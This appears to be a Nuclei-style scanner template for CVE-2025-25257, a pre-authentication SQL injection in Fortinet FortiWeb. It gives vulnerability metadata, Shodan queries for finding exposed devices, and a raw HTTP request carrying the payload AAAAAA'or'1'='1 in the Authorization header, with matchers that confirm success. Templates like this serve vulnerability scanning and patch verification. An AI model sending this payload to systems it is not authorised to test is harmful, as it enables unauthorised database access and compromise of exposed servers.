id: CVE-2025-25257 info: name: Fortinet FortiWeb - SQL Injection author: watchtowr,johnk3r severity: critical description: | An improper neutralization of special elements used in an SQL command ('SQL Injection') vulnerability [CWE-89] in FortiWeb may allow an unauthenticated attacker to execute unauthorized SQL code or commands via crafted HTTP or HTTPS requests. impact: | An attacker can exploit this vulnerability to execute unauthorized SQL commands, potentially leading to data exposure, data manipulation, or system compromise. remediation: | Apply the latest security patches provided by Fortinet to fix the SQL injection vulnerability in FortiWeb. reference: - https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/ - https://fortiguard.fortinet.com/psirt/FG-IR-25-151 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2025-25257 epss-score: 0.26204 epss-percentile: 0.96394 cwe-id: CWE-89 cpe: cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: fortinet product: fortiweb shodan-query: - ssl:"cn=fortiweb" - title:"FortiWeb - " tags: cve,cve2025,fortinet,fortiweb,sqli,unauth,kev,vkev,vuln http: - raw: - | GET /api/fabric/device/status HTTP/1.1 Host: {{Hostname}} Authorization: Bearer AAAAAA'or'1'='1 matchers-condition: and matchers: - type: word part: body words: - 'serial' - 'fortiweb' - 'device_type' condition: and - type: status status: - 200 # digest: 4b0a00483046022100e9cd46453433658b34ac17593294c62c9c2337c137a88b4f80c872d3e4c181fb022100d900a2a78c7f0ad2c8a8bea25c284dcfc39554cd3e1adf6d50d34c8652b9a223:922c64590222798bb761d5b6d8e72950